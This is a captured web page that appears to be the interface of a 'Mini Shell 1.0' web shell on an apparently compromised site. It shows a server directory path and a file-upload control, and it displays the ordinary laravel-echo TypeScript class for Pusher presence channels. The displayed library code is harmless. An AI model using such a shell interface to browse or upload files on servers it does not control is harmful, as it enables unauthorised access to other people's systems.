HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/node_modules/laravel-echo/src/channel/
Upload File :
Current File : //var/www/devs.lapieza.net/node_modules/laravel-echo/src/channel/pusher-presence-channel.ts
import { PusherChannel } from './pusher-channel';
import { PresenceChannel } from './presence-channel';

/**
 * This class represents a Pusher presence channel.
 */
export class PusherPresenceChannel extends PusherChannel implements PresenceChannel {
    /**
     * Register a callback to be called anytime the member list changes.
     */
    here(callback: Function): PusherPresenceChannel {
        this.on('pusher:subscription_succeeded', (data) => {
            callback(Object.keys(data.members).map((k) => data.members[k]));
        });

        return this;
    }

    /**
     * Listen for someone joining the channel.
     */
    joining(callback: Function): PusherPresenceChannel {
        this.on('pusher:member_added', (member) => {
            callback(member.info);
        });

        return this;
    }

    /**
     * Send a whisper event to other clients in the channel.
     */
    whisper(eventName: string, data: any): PusherPresenceChannel {
        this.pusher.channels.channels[this.name].trigger(`client-${eventName}`, data);

        return this;
    }

    /**
     * Listen for someone leaving the channel.
     */
    leaving(callback: Function): PusherPresenceChannel {
        this.on('pusher:member_removed', (member) => {
            callback(member.info);
        });

        return this;
    }
}